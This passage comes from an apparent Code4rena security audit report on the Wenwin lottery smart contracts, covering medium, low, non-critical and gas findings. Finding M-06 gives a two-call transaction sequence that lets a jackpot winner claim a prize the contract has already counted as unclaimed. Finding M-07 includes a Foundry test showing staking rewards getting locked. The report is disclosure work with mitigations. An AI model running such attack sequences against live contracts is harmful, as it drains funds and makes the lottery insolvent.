fixedRewards[1] = 6500 * tokenUnit;
fixedRewards[2] = 7000 * tokenUnit;
// Initialize LotterySetup contract
LotterySetup lotterySetup = new LotterySetup(
LotterySetupParams(
rewardToken,
LotteryDrawSchedule(block.timestamp + 2*100, 100, 60),
5 ether,
SELECTION_SIZE,
SELECTION_MAX,
38e16,
fixedRewards
)
);
// Reward for winTier 1 is 6500
assertEq(lotterySetup.fixedReward(1) / tokenUnit, 6500);
// Reward for winTier 2 is 446 instead of 7000
assertEq(lotterySetup.fixedReward(2) / tokenUnit, 446);
}
}
Recommended Mitigation Steps
Consider storing the prize amount of each winTier
in a mapping instead of packing them into a uint256
using bitwise arithmetic. This approach removes the upper limit (6553.5) and lower limit (0.1) for prizes, which would allow the protocol to use tokens with extremely high or low prices.
Alternatively, check if rewards[winTier] > type(uint256).max
and revert if so. This can be done through OpenZeppelin’s SafeCast.
[M-06] Insolvency: The Lottery
may incorrectly consider a year old jackpot ticket as unclaimed and increase currentNetProfit
by its prize while it was actually claimed
Submitted by NoamYakov
https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L135-L137
https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L164-L166
Impact
According to the documentation:
“Winning tickets have up to 1 year to claim their prize. If a prize is not claimed before this period, the unclaimed prize money will go back to the Prize Pot.”
As part of this mechanism, the Lottery.executeDraw()
function (which internally calls Lottery.returnUnclaimedJackpotToThePot()
) increases Lottery.currentNetProfit
by the prize of any 1 year old unclaimed jackpot ticket. At this point, the contract thinks it still holds that prize and it’s going to include it in the prize pot of the next draw. This function can only be called when block.timestamp >= drawScheduledAt(currentDraw)
.
On the other side, the Lottery.claimWinningTickets()
function (which internally calls Lottery.claimWinningTicket()
and Lottery.claimable()
) sends the prize to the owner of a jackpot ticket only if it isn’t 1 year old (if block.timestamp <= ticketRegistrationDeadline(ticketInfo.drawId + LotteryMath.DRAWS_PER_YEAR)
).
However, if Lottery.drawCoolDownPeriod
is zero, both of these conditions can pass on the same time - when the block.timestamp
is exactly the scheduled draw date of the draw that takes place exactly 1 year after the draw in which the jackpot ticket has won.
In this edge case, the owner of the jackpot ticket can call Lottery.executeDraw()
, letting the Lottery
think the prize wasn’t claimed, followed by Lottery.claimWinningTickets()
, claiming the prize, all in the same transaction.
Proof of Concept
Let’s say Eve buys a ticket to draw #1 in a Lottery
contract where Lottery.drawCoolDownPeriod
equals zero, and wins the jackpot. Now, Eve can wait 1 year and then, when block.timestamp
equals the scheduled draw date of draw #53 (which is also the registration deadline of draw #53), run a transaction that will do the following:
lottery.executeDraw()
lottery.claimWinningTickets([eveJackpotTicketId])
This will send Eve her prize, but will also leave the contract insolvent.
Recommended Mitigation Steps
Fix Lottery.claimable()
to set claimableAmount
to winAmount[ticketInfo.drawId][winTier]
only if block.timestamp < ticketRegistrationDeadline(ticketInfo.drawId + LotteryMath.DRAWS_PER_YEAR)
(strictly less than).
rand0c0des (Wenwin) disagreed with severity and commented:
I think this is Medium, it requires coolDownPeriod of 0 + needs the block executed at the actual time scheduled which might not happen that often.
cccz (judge) decreased severity to Medium and commented:
Due to the requirement
drawCoolDownPeriod == 0
, consider Medium.
[M-07] Locking rewards tokens in Staking contract when there are no stakes
Submitted by Haipls, also found by Cyfrin and ast3ros
Impact
Blocking rewards assigned to stakes from the sale of lottery tickets when stakes are absent in the Staking
contract.
So, the situation is unlikely, but it can happen.
Proof of Concept
In order to confirm the problem, we need to prove 2 things:
- That there may be no staked tokens -> #Total supply == 0
- That the reward that will be transferred to the contract will be blocked -> #Locked tokens
Total supply == 0:
Flow 1:
- Deploy protocol
- Anyone buys tickets
- Anyone calls claimRewards() for
LotteryRewardType.STAKING
- Since no one has managed to stake the tokens yet, the reward for the first sold tickets will be transferred to the staking contract and blocked
- First user stakes tokens and we can see the Staking contract will have rewards but for first user
rewardPerToken
will start from0
andlastUpdateTicketId
will update to actually
src/staking/Staking.sol
50: if (_totalSupply == 0) { // totalSupply == 0
51: return rewardPerTokenStored;
120: rewardPerTokenStored = currentRewardPerToken; // will set 0
121: lastUpdateTicketId = lottery.nextTicketId(); // set actually
- Tokens before the first stake will be blocked forever
Flow 2:
- Everything is going well. The first bets are made before the sale of the first tokens
- But there will moments when all the stakers withdraw their bets
- Get time periods when
totalSupply == 0
- During these periods, all the rewards that will come will be blocked on the contract by analogy with the first flow.
Locked tokens
- Tokens are blocked because
rewardPerTokenStored
is not updated whentotalSupply == 0
Let’s just write a test:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./LotteryTestBase.sol";
import "../src/Lottery.sol";
import "./TestToken.sol";
import "forge-std/console2.sol";
import "../src/interfaces/ILottery.sol";
contract StakingTest is LotteryTestBase {
IStaking public staking;
address public constant STAKER = address(69);
ILotteryToken public stakingToken;
function setUp() public override {
super.setUp();
staking = IStaking(lottery.stakingRewardRecipient());
stakingToken = ILotteryToken(address(lottery.nativeToken()));
}
function testDelayFirstStake() public {
console.log(
"Init state totalSupply: %d, rewards: %d, rewardPerTokenStored: %d",
staking.totalSupply(),
rewardToken.balanceOf(address(staking)),
staking.rewardPerTokenStored()
);
buySameTickets(lottery.currentDraw(), uint120(0x0F), address(0), 4);
lottery.claimRewards(LotteryRewardType.STAKING);
console.log(
"After buy tickets totalSupply: %d, rewards: %d, rewardPerTokenStored: %d",
staking.totalSupply(),
rewardToken.balanceOf(address(staking)),
staking.rewardPerTokenStored()
);
vm.prank(address(lottery));
stakingToken.mint(STAKER, 1e18);
vm.startPrank(STAKER);
stakingToken.approve(address(staking), 1e18);
staking.stake(1e18);
console.log(
"After user stake, totalSupply: %d, rewards: %d, rewardPerTokenStored: %d",
staking.totalSupply(),
rewardToken.balanceOf(address(staking)),
staking.rewardPerTokenStored()
);
// buy one ticket and get rewards
buySameTickets(lottery.currentDraw(), uint120(0x0F), address(0), 1);
lottery.claimRewards(LotteryRewardType.STAKING);
console.log(
"After buy tickets, totalSupply: %d, rewards: %d, rewardPerTokenStored: %d",
staking.totalSupply(),
rewardToken.balanceOf(address(staking)),
staking.rewardPerTokenStored()
);
staking.exit();
console.log(
"After user exit, totalSupply: %d, rewards: %d, rewardPerTokenStored: %d",
staking.totalSupply(),
rewardToken.balanceOf(address(staking)),
staking.rewardPerTokenStored()
);
buySameTickets(lottery.currentDraw(), uint120(0x0F), address(0), 1);
lottery.claimRewards(LotteryRewardType.STAKING);
console.log(
"After buy ticket again, totalSupply: %d, rewards: %d, rewardPerTokenStored: %d",
staking.totalSupply(),
rewardToken.balanceOf(address(staking)),
staking.rewardPerTokenStored()
);
}
}
Result:
Logs:
Init state totalSupply: 0, rewards: 0, rewardPerTokenStored: 0
After buy tickets totalSupply: 0, rewards: 4000000000000000000, rewardPerTokenStored: 0
After user stake, totalSupply: 1000000000000000000, rewards: 4000000000000000000, rewardPerTokenStored: 0
After buy tickets, totalSupply: 1000000000000000000, rewards: 5000000000000000000, rewardPerTokenStored: 0
After user exit, totalSupply: 0, rewards: 4000000000000000000, rewardPerTokenStored: 1000000000000000000
After buy ticket again, totalSupply: 0, rewards: 5000000000000000000, rewardPerTokenStored: 1000000000000000000
Recommended Mitigation Steps
One of:
- Develop a flow where funds should go in case of lack of stakers
- Develop a method of withdrawing blocked coins (which will not be distributed among stakers)
cccz (judge) decreased severity to Medium
rand0c0des (Wenwin) acknowledged
Low Risk and Non-Critical Issues
For this contest, 48 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by adriro received the top score from the judge.
The following wardens also submitted reports: juancito, brgltd, seeu, lukris02, slvDev, 0xfuje, btk, nadin, horsefacts, MohammedRizwan, zaskoh, Aymen0909, tnevler, Udsen, 0x1f8b, martin, Cyfrin, sakshamguruji, SAAJ, peanuts, descharre, bin2chen, catellatech, 0xAgro, LethL, 0xkazim, Yukti_Chinta, Bason, ast3ros, hl_, cryptostellar5, DadeKuma, erictee, glcanvas, dontonka, bshramin, bugradar, 0xSmartContract, nomoi, Rolezn, fatherOfBlocks, 0xnev, SunSec, igingu, pipoca, georgits, and Madalad .
Low Risk Issues Summary
Issue | Instances | |
---|---|---|
L-01 | claimable function doesn’t validate ticket draw is finished |
1 |
L-02 | DRAWS_PER_YEAR assumes one draw per week |
1 |
L-03 | Limits in getMinimumEligibleReferralsFactorCalculation should be inclusive |
1 |
L-04 | Missing event for important parameter change | 2 |
[L-01] claimable
function doesn’t validate ticket draw is finished
https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L159-L168
The function should validate that the draw associated with the ticket is already finished, as the function uses the winning ticket to run the calculation and this value will be undefined until the draw is finished and a ticket is selected.
[L-02] DRAWS_PER_YEAR
assumes one draw per week
https://github.com/code-423n4/2023-03-wenwin/blob/main/src/LotteryMath.sol#L24
The DRAWS_PER_YEAR
constant is fixed at 52 assuming one draw lasts one week, while the lottery can be configured with an arbitrary draw period.
[L-03] Limits in getMinimumEligibleReferralsFactorCalculation
should be inclusive
https://github.com/code-423n4/2023-03-wenwin/blob/main/src/ReferralSystem.sol#L111-L130
function getMinimumEligibleReferralsFactorCalculation(uint256 totalTicketsSoldPrevDraw)
internal
view
virtual
returns (uint256 minimumEligible)
{
if (totalTicketsSoldPrevDraw < 10_000) {
// 1%
return totalTicketsSoldPrevDraw.getPercentage(PercentageMath.ONE_PERCENT);
}
if (totalTicketsSoldPrevDraw < 100_000) {
// 0.75%
return totalTicketsSoldPrevDraw.getPercentage(PercentageMath.ONE_PERCENT * 75 / 100);
}
if (totalTicketsSoldPrevDraw < 1_000_000) {
// 0.5%
return totalTicketsSoldPrevDraw.getPercentage(PercentageMath.ONE_PERCENT * 50 / 100);
}
return 5000;
}
The protocol documentation specifies that the total ticket sold limits should be inclusive during the calculation of the minimum referral eligibility. However, the different conditions in the if statements use a strict inequality to define the bounds to calculate the eligibility factor.
[L-04] Missing event for important parameter change
Important parameter or configuration changes should trigger an event to allow being tracked off-chain.
Instances (2):
- https://github.com/code-423n4/2023-03-wenwin/blob/main/src/staking/StakedTokenLock.sol#L24
- https://github.com/code-423n4/2023-03-wenwin/blob/main/src/staking/StakedTokenLock.sol#L37
Non-Critical Risk Issues Summary
Issue | Instances | |
---|---|---|
N-01 | Import declarations should import specific symbols | 53 |
N-02 | Use named parameters for mapping type declarations | 17 |
N-03 | Refactor common code across functions | 1 |
N-04 | Unused local variables | 1 |
N-05 | Use a modifier for access control | 1 |
N-06 | Contract files should define a locked compiler version | 2 |
N-07 | Simplify unpacking expression in fixedReward |
1 |
N-08 | First win tier is always empty in packFixedRewards |
1 |
[N-01] Import declarations should import specific symbols
Prefer import declarations that specify the symbol(s) using the form import {SYMBOL} from "SomeContract.sol"
rather than importing the whole file.
Instances (53):
File: src/Lottery.sol
5: import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
6: import "@openzeppelin/contracts/utils/math/Math.sol";
7: import "src/ReferralSystem.sol";
8: import "src/RNSourceController.sol";
9: import "src/staking/Staking.sol";
10: import "src/LotterySetup.sol";
11: import "src/TicketUtils.sol";
File: src/LotteryMath.sol
5: import "src/interfaces/ILottery.sol";
6: import "src/PercentageMath.sol";
File: src/LotterySetup.sol
5: import "@openzeppelin/contracts/utils/math/Math.sol";
6: import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
7: import "src/PercentageMath.sol";
8: import "src/LotteryToken.sol";
9: import "src/interfaces/ILotterySetup.sol";
10: import "src/Ticket.sol";
File: src/LotteryToken.sol
5: import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
6: import "src/interfaces/ILotteryToken.sol";
7: import "src/LotteryMath.sol";
File: src/RNSourceBase.sol
5: import "src/interfaces/IRNSource.sol";
File: src/RNSourceController.sol
5: import "@openzeppelin/contracts/access/Ownable2Step.sol";
6: import "src/interfaces/IRNSource.sol";
7: import "src/interfaces/IRNSourceController.sol";
File: src/ReferralSystem.sol
5: import "@openzeppelin/contracts/utils/math/Math.sol";
6: import "src/interfaces/IReferralSystem.sol";
7: import "src/PercentageMath.sol";
File: src/Ticket.sol
5: import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
6: import "src/interfaces/ITicket.sol";
File: src/VRFv2RNSource.sol
5: import "@chainlink/contracts/src/v0.8/VRFV2WrapperConsumerBase.sol";
6: import "src/interfaces/IVRFv2RNSource.sol";
7: import "src/RNSourceBase.sol";
File: src/interfaces/ILottery.sol
5: import "src/interfaces/ILotterySetup.sol";
6: import "src/interfaces/IRNSourceController.sol";
7: import "src/interfaces/ITicket.sol";
8: import "src/interfaces/IReferralSystem.sol";
File: src/interfaces/ILotterySetup.sol
5: import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
6: import "src/interfaces/ITicket.sol";
File: src/interfaces/ILotteryToken.sol
5: import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
File: src/interfaces/IRNSourceController.sol
5: import "@openzeppelin/contracts/access/Ownable2Step.sol";
6: import "src/interfaces/IRNSource.sol";
File: src/interfaces/IReferralSystem.sol
5: import "src/interfaces/ILotteryToken.sol";
File: src/interfaces/ITicket.sol
5: import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
File: src/interfaces/IVRFv2RNSource.sol
5: import "src/interfaces/IRNSource.sol";
File: src/staking/StakedTokenLock.sol
5: import "@openzeppelin/contracts/access/Ownable2Step.sol";
6: import "src/staking/interfaces/IStakedTokenLock.sol";
7: import "src/staking/interfaces/IStaking.sol";
File: src/staking/Staking.sol
5: import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
6: import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
7: import "src/interfaces/ILottery.sol";
8: import "src/LotteryMath.sol";
9: import "src/staking/interfaces/IStaking.sol";
File: src/staking/interfaces/IStakedTokenLock.sol
5: import "src/staking/interfaces/IStaking.sol";
File: src/staking/interfaces/IStaking.sol
5: import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
6: import "src/interfaces/ILottery.sol";
[N-02] Use named parameters for mapping type declarations
Consider using named parameters in mappings (e.g. mapping(address account => uint256 balance)
) to improve readability. This feature is present since Solidity 0.8.18.
Instances (17):
File: src/Lottery.sol
26: mapping(address => uint256) private frontendDueTicketSales;
27: mapping(uint128 => mapping(uint120 => uint256)) private unclaimedCount;
27: mapping(uint128 => mapping(uint120 => uint256)) private unclaimedCount;
36: mapping(uint128 => uint120) public override winningTicket;
37: mapping(uint128 => mapping(uint8 => uint256)) public override winAmount;
37: mapping(uint128 => mapping(uint8 => uint256)) public override winAmount;
39: mapping(uint128 => uint256) public override ticketsSold;
File: src/RNSourceBase.sol
9: mapping(uint256 => RandomnessRequest) internal requests;
File: src/ReferralSystem.sol
17: mapping(uint128 => mapping(address => UnclaimedTicketsData)) public override unclaimedTickets;
17: mapping(uint128 => mapping(address => UnclaimedTicketsData)) public override unclaimedTickets;
19: mapping(uint128 => uint256) public override totalTicketsForReferrersPerDraw;
21: mapping(uint128 => uint256) public override referrerRewardPerDrawForOneTicket;
23: mapping(uint128 => uint256) public override playerRewardsPerDrawForOneTicket;
25: mapping(uint128 => uint256) public override minimumEligibleReferrals;
File: src/Ticket.sol
14: mapping(uint256 => ITicket.TicketInfo) public override ticketsInfo;
File: src/staking/Staking.sol
19: mapping(address => uint256) public override userRewardPerTokenPaid;
20: mapping(address => uint256) public override rewards;
[N-03] Refactor common code across functions
claimRewards
and unclaimedRewards
functions in the Lottery
contract have a lot of duplicate functionality. Consider refactoring common code in a private function.
[N-04] Unused local variables
Unused variables should be removed.
File: src/Lottery.sol
260: uint256 winTier;
[N-05] Use a modifier for access control
Consider using a modifier to implement access control instead of inlining the condition/requirement in the function’s body.
https://github.com/code-423n4/2023-03-wenwin/blob/main/src/RNSourceController.sol#L46-L49
function onRandomNumberFulfilled(uint256 randomNumber) external override {
if (msg.sender != address(source)) {
revert RandomNumberFulfillmentUnauthorized();
}
[N-06] Contract files should define a locked compiler version
Contracts should be deployed with the same compiler version and flags that they have been tested with thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, for example, an outdated compiler version that might introduce bugs that affect the contract system negatively.
Instances (2):
File: src/VRFv2RNSource.sol
3: pragma solidity ^0.8.7;
File: src/staking/StakedTokenLock.sol
3: pragma solidity ^0.8.17;
[N-07] Simplify unpacking expression in fixedReward
https://github.com/code-423n4/2023-03-wenwin/blob/main/src/LotterySetup.sol#L126-L127
The following calculation:
uint256 mask = uint256(type(uint16).max) << (winTier * 16);
uint256 extracted = (nonJackpotFixedRewards & mask) >> (winTier * 16);
Can be simplified using a single shift as:
uint256 extracted = (nonJackpotFixedRewards >> (winTier * 16)) & type(uint16).max;
[N-08] First win tier is always empty in packFixedRewards
The rewards for the first win tier (tier 0) are always 0, meaning the lowest 16 bits of the packed rewards word are always 0 wasting this space. Consider offsetting the tier by 1 (store tier 1 in lowest 16 bits, tier 2 in next 16 bits, and so on) to take advantage of this space. This change also allows the protocol to support a max selection size of 17 instead of 16.
Formal Verification
Validity of reconstructed tickets
The following Certora rule proves that reconstructed tickets from a random source are valid within the accepted range of selectionSize
and selectionMax
parameters.
methods {
isValidTicket(uint256,uint8,uint8) returns (bool) envfree
reconstructTicket(uint256,uint8,uint8) returns (uint120) envfree
}
rule reconstructedTicketIsValid() {
uint256 random;
uint8 selectionSize;
uint8 selectionMax;
require selectionMax <= 120;
require selectionSize <= 16 || selectionSize <= (selectionMax -1);
uint256 ticket = reconstructTicket(random, selectionSize, selectionMax);
assert isValidTicket(ticket, selectionSize, selectionMax), "reconstructed ticket is not valid";
}
0xluckydev (Wenwin) confirmed and commented:
High quality report.
The Low Risk issues also includes downgraded findings #486, #431, #428, #423, and #413.
In addition, L-04 (Missing event for important parameter change) would be considered an INFO because although event issues would be considered as non-critical, I consider that privileged functions that do not emit events should be considered as INFO. (see original comment for full details)
Gas Optimizations
For this contest, 35 reports were submitted by wardens detailing gas optimizations. The report highlighted below by Rolezn received the top score from the judge.
The following wardens also submitted reports: slvDev, adriro, Rageur, 0xSmartContract, c3phas, atharvasama, 0x1f8b, 0x6980, schrodinger, descharre, ddimitrov22, hunter_w3b, Pheonix, air, SAAJ, Inspectah, MiniGlome, saneryee, rokso, Haipls, LethL, ReyAdmirado, yongskiws, matrix_0wl, JCN, Sathish9098, 0xnev, igingu, RaymondFam, ch0bu, arialblack14, volodya, Madalad, and 0xhacksmithh.
Gas Optimizations Summary
Issue | Contexts | Estimated Gas Saved | |
---|---|---|---|
G‑01 | Use calldata instead of memory for function parameters | 2 | 600 |
G‑02 | Setting the constructor to payable |
10 | 130 |
G‑03 | Do not calculate constants | 6 | - |
G‑04 | Using delete statement can save gas |
8 | - |
G‑05 | Functions guaranteed to revert when called by normal users can be marked payable |
4 | 84 |
G‑06 | Use hardcoded address instead address(this) |
5 | - |
G‑07 | internal functions only called once can be inlined to save gas |
4 | 88 |
G‑08 | Multiple Address Mappings Can Be Combined Into A Single Mapping Of An Address To A Struct, Where Appropriate | 2 | - |
G‑09 | Optimize names to save gas | 10 | 220 |
G‑10 | <x> += <y> Costs More Gas Than <x> = <x> + <y> For State Variables |
16 | - |
G‑11 | Public Functions To External | 8 | - |
G‑12 | require() Should Be Used Instead Of assert() |
2 | - |
G‑13 | Shorten the array rather than copying to a new one | 2 | - |
G‑14 | Help The Optimizer By Saving A Storage Variable’s Reference Instead Of Repeatedly Fetching It | 3 | - |
G‑15 | Structs can be packed into fewer storage slots | 4 | 8000 |
G‑16 | Usage of uints /ints smaller than 32 bytes (256 bits) incurs overhead |
21 | - |
G‑17 | Unnecessary look up in if condition |
1 | 2100 |
G‑18 | Use solidity version 0.8.19 to gain some gas boost | 3 | 264 |
Total: 109 contexts over 18 issues
[G-01] Use calldata instead of memory for function parameters
In some cases, having function arguments in calldata instead of memory is more optimal.
Consider the following generic example:
contract C {
function add(uint[] memory arr) external returns (uint sum) {
uint length = arr.length;
for (uint i = 0; i < arr.length; i++) {
sum += arr[i];
}
}
}
In the above example, the dynamic array arr has the storage location memory. When the function gets called externally, the array values are kept in calldata and copied to memory during ABI decoding (using the opcode calldataload and mstore). And during the for loop, arr[i] accesses the value in memory using a mload. However, for the above example this is inefficient. Consider the following snippet instead:
contract C {
function add(uint[] calldata arr) external returns (uint sum) {
uint length = arr.length;
for (uint i = 0; i < arr.length; i++) {
sum += arr[i];
}
}
}
In the above snippet, instead of going via memory, the value is directly read from calldata using calldataload. That is, there are no intermediate memory operations that carries this value.
Gas savings: In the former example, the ABI decoding begins with copying value from calldata to memory in a for loop. Each iteration would cost at least 60 gas. In the latter example, this can be completely avoided. This will also reduce the number of instructions and therefore reduces the deploy time cost of the contract.
In short, use calldata instead of memory if the function argument is only read.
Note that in older Solidity versions, changing some function arguments from memory to calldata may cause “unimplemented feature error”. This can be avoided by using a newer (0.8.*) Solidity compiler.
Examples Note: The following pattern is prevalent in the codebase:
function f(bytes memory data) external {
(...) = abi.decode(data, (..., types, ...));
}
Here, changing to bytes calldata will decrease the gas. The total savings for this change across all such uses would be quite significant.
Proof Of Concept
function packFixedRewards(uint256[] memory rewards) private view returns (uint256 packed) {
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L164
function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/VRFv2RNSource.sol#L32
[G-02] Setting the constructor
to payable
Saves ~13 gas per instance
Proof Of Concept
84: constructor(
LotterySetupParams memory lotterySetupParams,
uint256 playerRewardFirstDraw,
uint256 playerRewardDecreasePerDraw,
uint256[] memory rewardsToReferrersPerDraw,
uint256 maxRNFailedAttempts,
uint256 maxRNRequestDelay
)
Ticket()
LotterySetup(lotterySetupParams)
ReferralSystem(playerRewardFirstDraw, playerRewardDecreasePerDraw, rewardsToReferrersPerDraw)
RNSourceController(maxRNFailedAttempts, maxRNRequestDelay)
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L84
41: constructor(LotterySetupParams memory lotterySetupParams)
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L41
17: constructor() ERC20("Wenwin Lottery", "LOT")
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotteryToken.sol#L17
27: constructor(
uint256 _playerRewardFirstDraw,
uint256 _playerRewardDecreasePerDraw,
uint256[] memory _rewardsToReferrersPerDraw
)
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/ReferralSystem.sol#L27
11: constructor(address _authorizedConsumer)
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/RNSourceBase.sol#L11
26: constructor(uint256 _maxFailedAttempts, uint256 _maxRequestDelay)
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/RNSourceController.sol#L26
17: constructor() ERC721("Wenwin Lottery Ticket", "WLT")
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Ticket.sol#L17
13: constructor(
address _authorizedConsumer,
address _linkAddress,
address _wrapperAddress,
uint16 _requestConfirmations,
uint32 _callbackGasLimit
)
RNSourceBase(_authorizedConsumer)
VRFV2WrapperConsumerBase(_linkAddress, _wrapperAddress)
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/VRFv2RNSource.sol#L13
16: constructor(address _stakedToken, uint256 _depositDeadline, uint256 _lockDuration)
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/StakedTokenLock.sol#L16
22: constructor(
ILottery _lottery,
IERC20 _rewardsToken,
IERC20 _stakingToken,
string memory name,
string memory symbol
)
ERC20(name, symbol)
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/Staking.sol#L22
[G-03] Do not calculate constants
Due to how constant variables are implemented (replacements at compile-time), an expression assigned to a constant variable is recomputed each time that the variable is used, which wastes some gas.
Proof Of Concept
14: uint256 public constant STAKING_REWARD = 20 * PercentageMath.ONE_PERCENT;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotteryMath.sol#L14
16: uint256 public constant FRONTEND_REWARD = 10 * PercentageMath.ONE_PERCENT;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotteryMath.sol#L16
18: uint256 public constant TICKET_PRICE_TO_POT = PercentageMath.PERCENTAGE_BASE - STAKING_REWARD - FRONTEND_REWARD;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotteryMath.sol#L18
20: uint256 public constant SAFETY_MARGIN = 67 * PercentageMath.ONE_PERCENT;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotteryMath.sol#L20
22: uint256 public constant EXCESS_BONUS_ALLOCATION = 50 * PercentageMath.ONE_PERCENT;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotteryMath.sol#L22
36: uint256 private constant BASE_JACKPOT_PERCENTAGE = 30_030; // 30.03%
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L36
[G-04] Using delete
statement can save gas
Proof Of Concept
255: frontendDueTicketSales[beneficiary] = 0;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L255
142: unclaimedTickets[drawId][msg.sender].referrerTicketCount = 0;
148: unclaimedTickets[drawId][msg.sender].playerTicketCount = 0;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/ReferralSystem.sol#L142
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/ReferralSystem.sol#L148
52: failedSequentialAttempts = 0;
53: maxFailedAttemptsReachedAt = 0;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/RNSourceController.sol#L52-L53
99: failedSequentialAttempts = 0;
100: maxFailedAttemptsReachedAt = 0;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/RNSourceController.sol#L99-L100
95: rewards[msg.sender] = 0;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/Staking.sol#L95
[G-05] Functions guaranteed to revert when called by normal users can be marked payable
If a function modifier or require such as onlyOwner/onlyX is used, the function will revert if a normal user tries to pay the function. Marking the function as payable will lower the gas cost for legitimate callers because the compiler will not include checks for whether a payment was provided. The extra opcodes avoided are CALLVALUE(2), DUP1(3), ISZERO(3), PUSH2(3), JUMPI(10), PUSH1(3), DUP1(3), REVERT(0), JUMPDEST(1), POP(2) which costs an average of about 21 gas per call to the function, in addition to the extra deployment cost.
Proof Of Concept
77: function initSource(IRNSource rnSource) external override onlyOwner {
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/RNSourceController.sol#L77
89: function swapSource(IRNSource newSource) external override onlyOwner {
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/RNSourceController.sol#L89
24: function deposit(uint256 amount) external override onlyOwner {
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/StakedTokenLock.sol#L24
37: function withdraw(uint256 amount) external override onlyOwner {
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/StakedTokenLock.sol#L37
Recommended Mitigation Steps
Functions guaranteed to revert when called by normal users can be marked payable.
[G-06] Use hardcode address instead address(this)
Instead of using address(this)
, it is more gas-efficient to pre-calculate and use the hardcoded address
. Foundry’s script.sol and solmate’s LibRlp.sol
contracts can help achieve this.
References: https://book.getfoundry.sh/reference/forge-std/compute-create-address
https://twitter.com/transmissions11/status/1518507047943245824
Proof Of Concept
130: rewardToken.safeTransferFrom(msg.sender, address(this), ticketPrice * tickets.length);
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L130
140: uint256 raised = rewardToken.balanceOf(address(this));
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L140
34: stakedToken.transferFrom(msg.sender, address(this), amount);
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/StakedTokenLock.sol#L34
55: rewardsToken.transfer(owner(), rewardsToken.balanceOf(address(this)));
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/StakedTokenLock.sol#L55
73: stakingToken.safeTransferFrom(msg.sender, address(this), amount);
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/Staking.sol#L73
Recommended Mitigation Steps
Use hardcoded address
.
[G-07] internal
functions only called once can be inlined to save gas
Proof Of Concept
203: function receiveRandomNumber
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L203
279: function requireFinishedDraw
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L279
285: function mintNativeTokens
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L285
160: function _baseJackpot
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/LotterySetup.sol#L160
[G-08] Multiple Address Mappings Can Be Combined Into A Single Mapping Of An Address To A Struct, Where Appropriate
Saves a storage slot for the mapping. Depending on the circumstances and sizes of types, can avoid a Gsset (20000 gas) per mapping combined. Reads and subsequent writes can also be cheaper when a function requires both values and they both fit in the same storage slot.
Proof Of Concept
19: mapping(address => uint256) public override userRewardPerTokenPaid;
20: mapping(address => uint256) public override rewards;
//@audit Can be edited to the following struct:
struct addressRewardsStruct {
uint256 userRewardPerTokenPaid;
uint256 rewards;
}
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/staking/Staking.sol#L20
[G-09] Optimize names to save gas
Contracts most called functions could simply save gas by function ordering via Method ID. Calling a function at runtime will be cheaper if the function is positioned earlier in the order (has a relatively lower Method ID) because 22 gas are added to the cost of a function for every position that came before it. The caller can save on gas if you prioritize most called functions.
See more here.
Proof Of Concept
All in-scope contracts.
Recommended Mitigation Steps
Find a lower method ID name for the most called functions for example Call()
vs. Call1()
is cheaper by 22 gas.
For example, the function IDs in the Gauge.sol contract will be the most used; A lower method ID may be given.
[G-10] <x> += <y>
Costs More Gas Than <x> = <x> + <y>
For State Variables
129: frontendDueTicketSales[frontend] += tickets.length;
https://github.com/code-423n4/2023-03-wenwin/tree/main/src/Lottery.sol#L129
